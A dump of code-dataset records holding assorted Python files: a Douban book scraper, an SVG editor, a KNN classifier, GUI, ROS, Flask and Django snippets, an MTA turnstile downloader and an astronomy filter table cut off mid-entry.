subject.get('href')\n id = href.replace('https://book.douban.com/subject/', '').replace('/', '')\n ids.append(id)\n return ids\n\n\ndef saveId(tag, page, ids):\n tag_id = tag['id']\n for id in ids:\n item = {\n 'tag_id': tag_id,\n 'subject_id': id\n }\n db.db_book_id.insert_one(item)\n tag['updated_at'] = getDateTime()\n if len(ids) > 0:\n tag['page'] = page\n updateTag(tag)\n\n\ndef setStatus(tag):\n tag['status'] = 0\n updateTag(tag)\n\n\ndef updateTag(tag):\n db.db_book_tag.update({'_id': tag['_id']}, {\"$set\": tag})\n\n\nif __name__ == \"__main__\":\n getPages = 100\n tags = getTagsFromDB()\n for tag in tags:\n print(tag)\n if tag['page'] == 1:\n tag['page'] = 0\n for page in range(tag['page'] + 1, getPages + 1):\n ids = getSubjectId(tag['tag_url'], page)\n if len(ids) == 0:\n setStatus(tag)\n break\n print(ids)\n saveId(tag, page, ids)\n time.sleep(int(random.uniform(25, 35)))\n","sub_path":"Projects/DoubanBook/DoubanBook_v1/getSubjectId.py","file_name":"getSubjectId.py","file_ext":"py","file_size_in_byte":3912,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"96305602","text":"import sys\nfread = open('static/newtest2-1.svg','r')\nfwrite = open('static/test4.svg','w')\n\nclipped = False\nchanged = False\nfor line in fread:\n if not clipped and line.find('clip-path') > -1:\n \tclipped = True\n \tfwrite.write(line)\n elif clipped and not changed and line.find(' -1:\n \tbars = []\n \t\n \tmindex = line.find('M ')\n \tzindex = line.find(' Z')\n \twhile mindex > -1 and zindex > mindex:\n \t\tbars.append(line[mindex:zindex+2])\n \t\tline = line[zindex+2:]\n \t\tmindex = line.find('M ')\n \t\tzindex = line.find(' Z')\n \tchanged = True\n \tnewline = ''\n \ti = 0\n \tfor bar in bars:\n \t\tnewline += ''\n \t\ti+=1\n \tfwrite.write(newline)\n elif line.find('') > -1:\n \tfwrite.write('\\n')\n else:\n \tfwrite.write(line)\n\n\nfread.close()\n\n\n\nfwrite.close()\n","sub_path":"static/chartstxt/pythonscript.py","file_name":"pythonscript.py","file_ext":"py","file_size_in_byte":959,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"102679118","text":"import numpy as np\nimport sklearn.metrics as metrics\n\ndef knn(train, train_y, y_name, test, test_y, k):\n final = []\n dist = []\n \n for i in test:\n result1 = []\n for j in train:\n result1.append(np.sum(abs(i-j)))\n \n dist.append(result1)\n # 100x60000의 거리 구함\n\n \n for i in range(len(dist)):\n kindex = np.argsort(dist[i]) # 가까운 거리순으로 정렬후 원래 인덱스 반환\n kindex = kindex[:k]\n # 가까운 k개만 저장\n # 0 < kindex[i] < 60000\n W = [0]*10\n for j in range(k): \n W[train_y[kindex[j]]] += 1 / (1 + dist[i][kindex[j]])\n # 가까운점의 레이블에 가까운점의 가중치를 합산한것을 저장\n final.append(W.index(max(W))) # 가장 많이 나온 레이블 저장\n\n\n\n # k개중에 가장 투표를 많이받은것 고름\n computed, real = [],[]\n for i in range(len(test)):\n computed.append(final[i])\n real.append(int(y_name[test_y[i]]))\n print(\"{} {}\"\n .format(final[i], y_name[test_y[i]]))\n print(\"accuracy = {}\".format(metrics.accuracy_score(computed, real)))","sub_path":"KNN-mnist/knn.py","file_name":"knn.py","file_ext":"py","file_size_in_byte":1180,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"647140820","text":"import wx\n\nfrom .. import config\n\nfrom .manager import WindowManager\n\n\n\nclass SciFrame(wx.Frame):\n\n\n\tdef __init__(self, *args, **kwargs):\n\t\tsuper().__init__(*args, **kwargs)\n\t\tself.SetMinClientSize(self.GetClientSize())\n\t\tself.start()\n\n\n\tdef set_config(self, config):\n\t\tself.config = config\n\n\n\tdef start(self):\n\t\tself.set_config(config.Config())\n\t\tself.window_manager = WindowManager(self, self.config)\n\n\t\tself.sizer = wx.BoxSizer(wx.VERTICAL)\n\t\tself.window_manager.init_windows()\n\t\tself.SetSizer(self.sizer)\n\t\tself.Layout()","sub_path":"scienv/core/frame.py","file_name":"frame.py","file_ext":"py","file_size_in_byte":524,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"215348441","text":"\"\"\"Test the transport limited fluvial module.\n\nSimple test to ensure transport limited fluvial module runs and gives same\nanswers it always has.\n\"\"\"\nimport os\n\nfrom six.moves import range\n\nimport numpy as np\nfrom numpy.testing import assert_array_equal, assert_array_almost_equal\n\nfrom landlab import RasterModelGrid\nfrom landlab.components.flow_routing import FlowRouter\nfrom landlab.components.transport_limited_fluvial.tl_fluvial_monodirectional \\\n import TransportLimitedEroder\nfrom landlab import ModelParameterDictionary\n\n\n_THIS_DIR = os.path.abspath(os.path.dirname(__file__))\n\n\ndef test_tl_fluvial():\n input_file = os.path.join(_THIS_DIR, 'stream_power_params_ideal.txt')\n inputs = ModelParameterDictionary(input_file)\n nrows = inputs.read_int('nrows')\n ncols = inputs.read_int('ncols')\n dx = inputs.read_float('dx')\n leftmost_elev = inputs.read_float('leftmost_elevation')\n initial_slope = inputs.read_float('initial_slope')\n uplift_rate = inputs.read_float('uplift_rate')\n\n runtime = inputs.read_float('total_time')\n dt = inputs.read_float('dt')\n\n nt = int(runtime // dt)\n uplift_per_step = uplift_rate * dt\n\n mg = RasterModelGrid(nrows, ncols, dx)\n mg.add_zeros('node', 'topographic__elevation')\n z = np.loadtxt(os.path.join(_THIS_DIR, 'tl_init.txt'))\n mg['node']['topographic__elevation'] = z\n\n mg.set_closed_boundaries_at_grid_edges(True, False, True, False)\n mg.set_fixed_value_boundaries_at_grid_edges(\n False, True, False, True, value_of='topographic__elevation')\n\n fr = FlowRouter(mg)\n tl = TransportLimitedEroder(mg, input_file)\n\n for i in range(nt):\n mg.at_node['topographic__elevation'][mg.core_nodes] += uplift_per_step\n mg = fr.route_flow()\n mg, _ = tl.erode(mg, dt, stability_condition='loose')\n\n z_tg = np.loadtxt(os.path.join(_THIS_DIR, 'tlz_tg.txt'))\n assert_array_almost_equal(mg.at_node['topographic__elevation'], z_tg)\n","sub_path":"landlab/components/transport_limited_fluvial/tests/test_tl_fluvial.py","file_name":"test_tl_fluvial.py","file_ext":"py","file_size_in_byte":1948,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"474371737","text":"\n\nfrom xai.brain.wordbase.nouns._elective import _ELECTIVE\n\n#calss header\nclass _ELECTIVES(_ELECTIVE, ):\n\tdef __init__(self,): \n\t\t_ELECTIVE.__init__(self)\n\t\tself.name = \"ELECTIVES\"\n\t\tself.specie = 'nouns'\n\t\tself.basic = \"elective\"\n\t\tself.jsondata = {}\n","sub_path":"xai/brain/wordbase/nouns/_electives.py","file_name":"_electives.py","file_ext":"py","file_size_in_byte":252,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"541417577","text":"from flask_appbuilder import Model\nfrom sqlalchemy import Column, Integer, String, ForeignKey, Date, Boolean,Float\nfrom sqlalchemy.orm import relationship\nfrom app.unidadmedidas.models import Unidadmedida\nfrom app import db\n\nclass Sustrato(db.Model):\n idSustrato = db.Column(db.Integer, primary_key=True)\n nombreSustrato = db.Column(db.String(100), nullable=True)\n descrpcionSustrato = db.Column(db.String(100), nullable=True)\n idUnidadmedida = db.Column(db.Integer, ForeignKey(\"unidadmedida.idUnidadmedida\"))\n unidadmedida = db.relationship(\"Unidadmedida\")\n \n def __init__(self,nombreSustrato,descrpcionSustrato,idUnidadmedida,unidadmedida):\n self.nombreSustrato=nombreSustrato\n self.descrpcionSustrato=descrpcionSustrato\n self.idUnidadmedida=idUnidadmedida\n self.unidadmedida=unidadmedida\n\n def __repr__(self):\n return str(self.nombreSustrato)\n","sub_path":"app/sustratos/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":905,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"435984798","text":"\"\"\"\nVectorMaths.py should include all methods used to create and manipulate vectors\nduring the process of calculating the cosine similarity between documents.\n\nDesigned and created by Owen Daynes.\n\n\"\"\"\n\nimport math\n\nfrom TextProcessing import calculate_idf\n\n\"\"\"\nTakes two vectors\nReturns dot product of vectors\n\"\"\"\n\n\ndef dot_product(vector1, vector2):\n if len(vector1) != len(vector2):\n return None\n\n result = 0\n for i in range(0, len(vector1)):\n result += vector1[i] * vector2[i]\n return result\n\n\n\"\"\"\nTakes a vector as a parameter\nReturns the euclidean norm of the vector\n\"\"\"\n\n\ndef calculate_norm(vector):\n\n norm = 0\n for element in vector:\n norm += element**2\n return math.sqrt(norm)\n\n\n\"\"\"\nTakes two document vectors\nReturns cosine similarity between vectors\n\"\"\"\n\n\ndef cosine_similarity(document1, document2):\n dot = dot_product(document1, document2)\n\n d1 = math.sqrt(dot_product(document1, document1))\n d2 = math.sqrt(dot_product(document2, document2))\n\n denom = d1 * d2\n\n return dot / denom\n","sub_path":"VectorMaths.py","file_name":"VectorMaths.py","file_ext":"py","file_size_in_byte":1052,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"62847440","text":"#! /usr/bin/env python\n# -*- coding: utf-8 -*-\n\n\"\"\" New York City MTA Turnstile Module\n\n.. moduleauthor:: Timothy Helton \n\"\"\"\n\nimport glob\nimport logging\nimport os\nimport os.path as osp\nimport re\n\nimport pandas as pd\nimport requests\n\n\nlog_format = ('%(asctime)s %(levelname)8s -> %(name)s <- '\n '(line: %(lineno)d) %(message)s\\n')\ndate_format = '%m/%d/%Y %I:%M:%S'\nlogging.basicConfig(format=log_format, datefmt=date_format,\n level=logging.INFO)\n\n\nclass TurnstileData:\n \"\"\"Methods related to acquiring New York City MTA subway turnstile data.\n \n :Attributes:\n \n **data**: *pandas.DataFrame* NYC turnstile data\n **data_dir**: *str* path to the local data directory\n **data_files**: *list* names of all available data files to download from \\\n the url attribute\n **request**: *requests.models.Response* response object from scraping \\\n the url attribute\n **station_daily**: *pandas.DataFrame* sum of entries and exits by station\n **turnstile_daily**: *pandas.DataFrame* sum of entries and exits by \\\n turnstile\n **url**: *str* web address for turnstile data\n \"\"\"\n def __init__(self):\n self.url = 'http://web.mta.info/developers/turnstile.html'\n self.request = requests.get(self.url)\n self.data = None\n self.data_dir = osp.realpath(osp.join(osp.dirname(__file__), '..',\n 'data', 'nyc_mta_turnstile'))\n self.data_files = None\n\n self.get_data()\n\n self._turnstile_daily = None\n self._station_daily = None\n\n @property\n def station_daily(self):\n self.get_station_daily()\n return self._station_daily\n\n @property\n def turnstile_daily(self):\n self.get_turnstile_daily()\n return self._turnstile_daily\n\n def __repr__(self):\n return f'TurnstileData()'\n\n def available_data_files(self):\n \"\"\"Find all available turnstile data files to retrieve.\"\"\"\n self.data_files = re.findall(pattern=r'href=\"(data.*?.txt)\"',\n string=self.request.text)\n self.data_files = [f'http://web.mta.info/developers/{x}'\n for x in self.data_files]\n\n def get_data(self):\n \"\"\"Retrieve data from raw files.\"\"\"\n raw_files = glob.glob(osp.join(self.data_dir, '*'))\n frames = (pd.read_csv(x) for x in raw_files)\n self.data = pd.concat(frames, ignore_index=True)\n self.data.columns = [x.strip().lower().replace('/', '_')\n for x in self.data.columns]\n\n def get_turnstile_daily(self):\n \"\"\"Filter data to find daily entries and exits per turnstile.\"\"\"\n mask = ['c_a', 'unit', 'station', 'scp',\n pd.Series([x.date() for x in self.data.time_stamp],\n name='date')]\n self._turnstile_daily = self.data.groupby(mask)['entries',\n 'exits'].sum()\n\n def get_station_daily(self, control_area=False, unit=False):\n \"\"\"Filter data to find entries and exits per station.\n \n .. note:: Data will always be filtered by station, date, week and \\ \n weekday.\n \n :param bool control_area: if True the data will be additionally \\ \n filtered based on control area\n :param bool unit: if True data will be additionally filtered based \\ \n on unit\n \"\"\"\n mask = ['station',\n pd.Series([x.date() for x in self.data.time_stamp],\n name='date'),\n pd.Series([x.week for x in self.data.time_stamp],\n name='week'),\n pd.Series([x.weekday() for x in self.data.time_stamp],\n name='weekday')]\n\n if unit:\n mask = ['unit'] + mask\n\n if control_area:\n mask = ['c_a'] + mask\n\n self._station_daily = self.data.groupby(mask)['entries', 'exits'].sum()\n\n def get_time_stamp(self):\n \"\"\"Add Series to data that is date_time object.\"\"\"\n time_stamp = pd.to_datetime(self.data.date.str.cat(self.data.time,\n sep=' '))\n self.data['time_stamp'] = time_stamp\n\n def write_data_files(self, qty=None, overwrite=False):\n \"\"\"Retrieve and write requested data files to the data directory.\n \n :param int qty: number of records to retrieve beginning with the most \\\n recent data (default of None will retrieve all available data \\\n files)\n :param bool overwrite: if True existing files will be overwritten \\\n with new data\n \"\"\"\n os.makedirs(self.data_dir, exist_ok=True)\n\n if self.data_files is None:\n self.available_data_files()\n\n if qty is not None:\n retrieve = self.data_files[:qty]\n else:\n retrieve = self.data_files\n\n remaining_files = len(retrieve)\n for path in retrieve:\n file_name = path.split('_')[-1]\n file_path = osp.join(self.data_dir, file_name)\n\n if osp.isfile(file_path) and not overwrite:\n logging.info(f'Using Existing File: {file_name}')\n continue\n\n logging.info(f'Scraping: {path}')\n r = requests.get(path)\n if r.status_code >= 400:\n logging.error(f'Error in File: {path}')\n continue\n\n with open(file_path, 'w') as f:\n f.write(r.text)\n remaining_files -= 1\n logging.info(f'Remaining Files: {remaining_files}\\n\\n')\n","sub_path":"k2datascience/nyc_mta.py","file_name":"nyc_mta.py","file_ext":"py","file_size_in_byte":5717,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"18149639","text":"import threading\nimport time\nimport multiprocessing\n\nglobals_num = 0\n\nlock_thread = threading.RLock()\nlock_process = multiprocessing.RLock()\n\n\ndef self_add_thread():\n lock_thread.acquire() # 获得锁\n for ths in range(3):\n global globals_num\n globals_num += 1\n print(str(globals_num) + ' ' + time.ctime() + ' ' + threading.current_thread().getName())\n lock_thread.release() # 释放锁\n print(60*'=')\n\n\ndef self_add_process():\n lock_process.acquire() # 获得锁\n for pros in range(3):\n global globals_num\n globals_num += 1\n time.sleep(1)\n print(str(globals_num) + ' ' + time.ctime() + ' ' + str(p.pid))\n lock_process.release() # 释放锁\n print(60*'*')\n\n\nfor i in range(3):\n t = threading.Thread(target=self_add_thread)\n t.start()\nfor j in range(3):\n t.join()\n\nfor a in range(3):\n p = multiprocessing.Process(target=self_add_process)\n p.start()\nfor b in range(3):\n p.join()\n\n","sub_path":"python/threads_lock.py","file_name":"threads_lock.py","file_ext":"py","file_size_in_byte":973,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"496709725","text":"# -*- coding: utf-8 -*-\nfrom pagedown.widgets import AdminPagedownWidget\nfrom django.db import models\nfrom django.contrib import admin\nfrom pages.models import Page\nfrom sorl.thumbnail import default\n\nADMIN_THUMBS_SIZE = '100x100'\n\n\nclass PageAdmin(admin.ModelAdmin):\n def image_display(self, obj):\n if obj.poster:\n thumb = default.backend.get_thumbnail(\n obj.poster, ADMIN_THUMBS_SIZE\n )\n return '' % (thumb.url, thumb.width)\n else:\n return 'No Image'\n image_display.allow_tags = True\n formfield_overrides = {\n models.TextField: {'widget': AdminPagedownWidget(show_preview=False)},\n }\n fieldsets = (\n ('Additionally', {\n 'classes': ('collapse',),\n 'fields': ('slug',)\n }),\n ('Content', {\n 'fields': ('status', 'in_menu', 'title', 'poster', 'content')\n }),\n )\n list_display = ('title', 'image_display', 'status')\n readonly_fields = ('slug',)\n list_per_page = 15\n\nadmin.site.register(Page, PageAdmin)\n","sub_path":"src/pages/admin.py","file_name":"admin.py","file_ext":"py","file_size_in_byte":1095,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"134032629","text":"from functools import lru_cache\nfrom typing import List\nfrom collections import deque\n\n\nclass Solution:\n def allPathsSourceTarget(self, graph: List[List[int]]) -> List[List[int]]:\n\n target = len(graph) - 1\n results = []\n\n def backtrack(currNode, path):\n # if we reach the target, no need to explore further.\n if currNode == target:\n results.append(list(path))\n return\n # explore the neighbor nodes one after another.\n for nextNode in graph[currNode]:\n path.append(nextNode)\n backtrack(nextNode, path)\n path.pop()\n\n # kick of the backtracking, starting from the source node (0).\n path = deque([0])\n backtrack(0, path)\n\n return results\n\n \"\"\"\n For DP Solution\n nextNode∈neighbors(currNode),allPathsToTarget(currNode)={currNode+allPathsToTarget(nextNode)}\n \"\"\"\n\n def allPathsSourceTargetV2(self, graph: List[List[int]]) -> List[List[int]]:\n\n target = len(graph) - 1\n\n # apply the memoization\n @lru_cache(maxsize=None)\n def allPathsToTarget(currNode):\n if currNode == target:\n return [[target]]\n\n results = []\n for nextNode in graph[currNode]:\n for path in allPathsToTarget(nextNode):\n results.append([currNode] + path)\n\n return results\n\n return allPathsToTarget(0)\n\n\nif __name__ == \"__main__\":\n graph = [[1,2],[3],[3],[]]\n allpaths = Solution()\n print(allpaths.allPathsSourceTarget(graph=graph))\n print(allpaths.allPathsSourceTargetV2(graph))","sub_path":"Algorithms/graphs/AllPathsSourceTarget.py","file_name":"AllPathsSourceTarget.py","file_ext":"py","file_size_in_byte":1674,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"174135168","text":"#!/usr/bin/env python3\n\nimport rospy\nfrom std_msgs.msg import Int8MultiArray # this is the same as Bump right?\nfrom nav_msgs.msg import Odometry\nfrom tf.transformations import euler_from_quaternion, rotation_matrix, quaternion_from_matrix\nimport time\nfrom geometry_msgs.msg import Twist, Vector3\nimport math\n\n\nclass DriveSquare():\n def __init__(self):\n rospy.init_node('drive_square')\n self.pub = rospy.Publisher('cmd_vel', Twist, queue_size=10)\n rospy.Subscriber('/odom', Odometry, self.odom_callback)\n self.heading = None\n self.x = None\n self.y = None\n self.targ_x = 0.0\n self.targ_y = 0.0\n self.targ_heading = 0.0\n self.vel = 0.2\n self.ang_vel = 0.2\n self.pos_reached = False\n self.angle_reached = False\n\n self.state = self.draw_line\n\n def odom_callback(self, msg):\n pos = msg.pose.pose.position\n orient = msg.pose.pose.orientation\n orientation_tuple = (orient.x, orient.y, orient.z, orient.w)\n angles = euler_from_quaternion(orientation_tuple)\n self.heading = angles[2]\n self.x = pos.x\n self.y = pos.y\n\n def calc_target_position(self):\n curr_x = self.x\n curr_y = self.y\n if 0 < self.heading <= .5 * math.pi:\n self.targ_x = math.cos(self.heading) + curr_x\n self.targ_y = math.sin(self.heading) + curr_y\n if math.pi*.5 < self.heading <= math.pi:\n self.targ_x = -1*math.cos(self.heading) + curr_x\n self.targ_y = math.sin(self.heading) + curr_y\n if math.pi*-.5 <= self.heading < 0:\n self.targ_x = math.cos(self.heading) + curr_x\n self.targ_y = -1*math.sin(self.heading) + curr_y\n if math.pi*-1 <= self.heading < -.5*math.pi:\n self.targ_x = -1*math.cos(self.heading) + curr_x\n self.targ_y = -1*math.sin(self.heading) + curr_y\n\n def calc_new_heading(self):\n curr_heading = self.heading\n temp_heading = curr_heading + .5*math.pi\n if temp_heading > math.pi:\n remainder = temp_heading % math.pi\n self.targ_heading = -1*math.pi + remainder\n else:\n self.targ_heading = temp_heading\n\n def monitor_heading(self):\n print(\"------Corner----------\")\n head_comp = self.heading >= self.targ_heading\n print(head_comp)\n if head_comp:\n self.angle_reached = True\n print(\"NUT NUT NUT HEADINGGGG\")\n print(self.angle_reached)\n self.pub.publish(Twist(angular=Vector3(z=0)))\n\n # def monitor_pos(self):\n # print(\"heck ya\")\n # if round(self.x,1) >= round(self.targ_x,1) and round(self.y,1) >= round(self.targ_y,1):\n # self.pub.publish(Twist(linear=Vector3(x=0, y=0)))\n # self.pos_reached = True\n\n def monitor_pos(self):\n if (abs(self.y) < 0.5):\n y_comp = math.isclose(abs(self.y), abs(self.targ_y), abs_tol=.2)\n else:\n y_comp = math.isclose(self.y, self.targ_y, rel_tol=.2)\n if (abs(self.x) < 0.5):\n x_comp = math.isclose(abs(self.x), abs(self.targ_x), abs_tol=.2)\n else:\n x_comp = math.isclose(self.x, self.targ_x, rel_tol=.2)\n\n print(\"------Line----------\")\n print(x_comp, y_comp)\n\n if x_comp and y_comp:\n self.pub.publish(Twist(linear=Vector3(x=0, y=0)))\n self.pos_reached = True\n\n def draw_line(self):\n r = rospy.Rate(10)\n self.calc_target_position()\n\n self.pub.publish(Twist(linear=Vector3(x=self.vel, y=0), angular=Vector3(z=0)))\n\n while not rospy.is_shutdown():\n self.monitor_pos()\n print(\"------------------\")\n print(\"X pos: \" + str(self.x))\n print(\"Y pos: \" + str(self.y))\n print(\"X target: \" + str(self.targ_x))\n print(\"Y target: \" + str(self.targ_y))\n # print(\"Pos Reached: \" + str(self.pos_reached))\n # print(\"\")\n # print(\"\")\n # print(\"Heading: \" + str(self.heading))\n # print(\"Targ heading: \" + str(self.y))\n # print(\"Angle Reached: \" + str(self.angle_reached))\n # print(\"\")\n # print(\"\")\n time.sleep(1)\n if self.pos_reached:\n print(\"Woop di doooo\")\n self.pos_reached = False\n return self.turn_corner\n r.sleep()\n\n def turn_corner(self):\n r = rospy.Rate(10)\n self.calc_new_heading()\n\n self.pub.publish(Twist(angular=Vector3(z=self.ang_vel)))\n\n while not rospy.is_shutdown():\n self.monitor_heading()\n if self.angle_reached:\n self.angle_reached = False\n print(\"hello\")\n return self.draw_line\n r.sleep()\n\n\n def run(self):\n rospy.sleep(1)\n while not rospy.is_shutdown():\n print(\"Pos flag: \" + str(self.pos_reached))\n\n # print(\"Heading: \" + str(self.heading))\n # print(\"Targ heading: \" + str(self.y))\n # print(\"Angle Reached: \" + str(self.angle_reached))\n\n self.state = self.state()\n print(self.state) #HELP doesn't print here\n\nif __name__ == '__main__':\n ds = DriveSquare()\n ds.run()","sub_path":"warmup_project/scripts/drive_square.py","file_name":"drive_square.py","file_ext":"py","file_size_in_byte":5412,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"353616543","text":"import copy\n\nclass Population:\n def __init__(self,labirinth,sheep):\n self.labirinth = labirinth\n self.ready = []\n self.walking = []\n self.insert(sheep)\n\n def insert(self,sheep):\n for s in sheep:\n if s.toWalk == 0:\n self.ready.append(s)\n else:\n self.walking.append(s)\n if len(self.walking) > 0:\n self.walking = sorted(self.walking,key=lambda s: int(s.toWalk))\n\n def update(self):\n sheep = []\n while len(self.ready) > 0:\n s = self.ready[0]\n if len(s.marks) > 1 and s.marks[-1] == s.marks[0]:\n return True, s\n sheep.extend(s.clone())\n self.ready.pop(0)\n self.insert(sheep)\n\n if len(self.walking) > 0:\n mn = self.walking[0].toWalk\n for s in self.walking:\n s.walked = str(int(s.walked) + int(mn))\n if s.toWalk == mn:\n s.toWalk = 0\n s.marks.append(s.towards)\n if len(s.marks) > 1 and s.marks[-1] == s.marks[0]:\n return True, s\n s.marksLeft.remove(s.towards)\n s.towards = None\n self.ready.append(s)\n else:\n s.toWalk = str(int(s.toWalk) - int(mn))\n\n while len(self.walking) > 0 and self.walking[0].toWalk == 0:\n self.walking.pop(0)\n\n return False, self\n","sub_path":"Project2-TSP_Solving/Version_1/Population.py","file_name":"Population.py","file_ext":"py","file_size_in_byte":1502,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"223346682","text":"#!/usr/bin/python\n# Utilities\nimport warnings, glob, os, re, xlrd, pickle, itertools, astropy.units as q, astropy.constants as ac, numpy as np, \\\n matplotlib.pyplot as plt, astropy.coordinates as apc, scipy.stats as st, astropy.io.fits as pf, \\\n scipy.optimize as opt\nimport astropy.table as at\nfrom random import random\nfrom heapq import nsmallest, nlargest\nfrom scipy.interpolate import Rbf\nimport SEDkit.interact as SI\n\nwarnings.simplefilter('ignore')\npackage = os.path.dirname(SI.__file__)\n\n\ndef blackbody(lam, T, Flam=False, radius=1, dist=10, emitted=False):\n \"\"\"\n Given a wavelength array [um] and temperature [K], returns an array of Planck function values in [erg s-1 cm-2 A-1]\n \"\"\"\n lam, T = lam.to(q.cm), T * q.K\n I = np.pi * (2 * ac.h * ac.c ** 2 / (\n lam ** (4 if Flam else 5) * (np.exp((ac.h * ac.c / (lam * ac.k_B * T)).decompose()) - 1))).to(\n q.erg / q.s / q.cm ** 2 / (1 if Flam else q.AA))\n return I if emitted else I * ((ac.R_jup * radius / (dist * q.pc)) ** 2).decompose()\n\n\ndef filter_info(band):\n \"\"\"\n Effective, min, and max wavelengths in [um] and zeropoint in [erg s-1 cm-2 A-1] and [photon s-1 cm-2 A-1] for\n SDSS, Bessel, 2MASS, IRAC and WISE filters IN THE VEGA SYSTEM. Values from SVO filter profile service.\n\n *band*\n Name of filter band (e.g. 'J' from 2MASS, 'W1' from WISE, etc.) or list of filter systems (e.g. ['SDSS',\n '2MASS','WISE'])\n\n **Don't forget to add the textfile of the photometric band to the data file that is used by the get_filters function\n \"\"\"\n Filters = {\n \"GALEX_FUV\" : {'eff' : 0.154226, 'min': 0.134032, 'max': 0.180643, 'zp': 6.486734e-09,\n 'zp_photon': 5.035932e+02, 'toVega': 0, 'ext': 2.62, 'system': 'GALEX'},\n \"GALEX_NUV\" : {'eff' : 0.227437, 'min': 0.169252, 'max': 0.300667, 'zp': 4.511628e-09,\n 'zp_photon': 5.165788e+02, 'toVega': 0, 'ext': 2.94, 'system': 'GALEX'},\n\n \"Johnson_U\" : {'eff' : 0.357065, 'min': 0.303125, 'max': 0.417368, 'zp': 3.656264e-09,\n 'zp_photon': 6.576522e+02, 'toVega': 0.0915, 'ext': 1.56, 'system': 'Johnson'},\n \"Johnson_B\" : {'eff' : 0.437812, 'min': 0.363333, 'max': 0.549706, 'zp': 6.286883e-09,\n 'zp_photon': 1.385995e+03, 'toVega': 0.0069, 'ext': 1.31, 'system': 'Johnson'},\n \"Johnson_V\" : {'eff' : 0.544579, 'min': 0.473333, 'max': 0.687500, 'zp': 3.571744e-09,\n 'zp_photon': 9.837109e+02, 'toVega': 0, 'ext': 1.02, 'system': 'Johnson'},\n \"Cousins_R\" : {'eff' : 0.641420, 'min': 0.550435, 'max': 0.883333, 'zp': 2.157178e-09,\n 'zp_photon': 6.971704e+02, 'toVega': 0.0018, 'ext': 0.83, 'system': 'Cousins'},\n \"Cousins_I\" : {'eff' : 0.797880, 'min': 0.704167, 'max': 0.916667, 'zp': 1.132454e-09,\n 'zp_photon': 4.549636e+02, 'toVega': -0.0014, 'ext': 0.61, 'system': 'Cousins'},\n\n \"SDSS_u\" : {'eff' : 0.3543, 'min': 0.304828, 'max': 0.402823, 'zp': 3.617963e-09,\n 'zp_photon': 6.546739e+02, 'toVega': 0.91, 'ext': 1.58, 'system': 'SDSS'},\n # AB to Vega transformations from Blanton et al. (2007)\n \"SDSS_g\" : {'eff' : 0.4770, 'min': 0.378254, 'max': 0.554926, 'zp': 5.491077e-09,\n 'zp_photon': 1.282871e+03, 'toVega': -0.08, 'ext': 1.23, 'system': 'SDSS'},\n # AB to Vega transformations from Blanton et al. (2007)\n \"SDSS_r\" : {'eff' : 0.6231, 'min': 0.541534, 'max': 0.698914, 'zp': 2.528924e-09,\n 'zp_photon': 7.794385e+02, 'toVega': 0.16, 'ext': 0.89, 'system': 'SDSS'},\n # AB to Vega transformations from Blanton et al. (2007)\n \"SDSS_i\" : {'eff' : 0.7625, 'min': 0.668947, 'max': 0.838945, 'zp': 1.409436e-09,\n 'zp_photon': 5.278550e+02, 'toVega': 0.37, 'ext': 0.68, 'system': 'SDSS'},\n # AB to Vega transformations from Blanton et al. (2007)\n \"SDSS_z\" : {'eff' : 0.9134, 'min': 0.796044, 'max': 1.083325, 'zp': 8.501067e-10,\n 'zp_photon': 3.807540e+02, 'toVega': 0.54, 'ext': 0.52, 'system': 'SDSS'},\n # AB to Vega transformations from Blanton et al. (2007)\n\n \"DES_u\" : {'eff' : 0.3543, 'min': 0.304828, 'max': 0.402823, 'zp': 5.360165e-09,\n 'zp_photon': 1.038526e+03, 'toVega': 0, 'ext': 0, 'system': 'DES'},\n \"DES_g\" : {'eff' : 0.4770, 'min': 0.378254, 'max': 0.554926, 'zp': 5.215897e-09,\n 'zp_photon': 1.243521e+03, 'toVega': 0, 'ext': 0, 'system': 'DES'},\n \"DES_r\" : {'eff' : 0.6231, 'min': 0.541534, 'max': 0.698914, 'zp': 2.265389e-09,\n 'zp_photon': 7.234969e+02, 'toVega': 0, 'ext': 0, 'system': 'DES'},\n \"DES_i\" : {'eff' : 0.7625, 'min': 0.668947, 'max': 0.838945, 'zp': 1.235064e-09,\n 'zp_photon': 4.820083e+02, 'toVega': 0, 'ext': 0, 'system': 'DES'},\n \"DES_z\" : {'eff' : 0.9134, 'min': 0.796044, 'max': 1.083325, 'zp': 8.072777e-10,\n 'zp_photon': 3.712548e+02, 'toVega': 0, 'ext': 0, 'system': 'DES'},\n \"DES_Y\" : {'eff' : 1.0289, 'min': 0.930000, 'max': 1.074600, 'zp': 6.596909e-10,\n 'zp_photon': 3.280450e+02, 'toVega': 0, 'ext': 0, 'system': 'DES'},\n\n \"FourStar_J1\": {'eff' : 1.052129, 'min': 0.990799, 'max': 1.120951, 'zp': 5.358674e-10,\n 'zp_photon': 2.838244e+02, 'toVega': 0, 'ext': 0.40, 'system': 'FourStar'},\n \"FourStar_J2\": {'eff' : 1.140731, 'min': 1.060065, 'max': 1.238092, 'zp': 4.088281e-10,\n 'zp_photon': 2.347727e+02, 'toVega': 0, 'ext': 0.35, 'system': 'FourStar'},\n \"FourStar_J3\": {'eff' : 1.283508, 'min': 1.200310, 'max': 1.377945, 'zp': 2.709316e-10,\n 'zp_photon': 1.750579e+02, 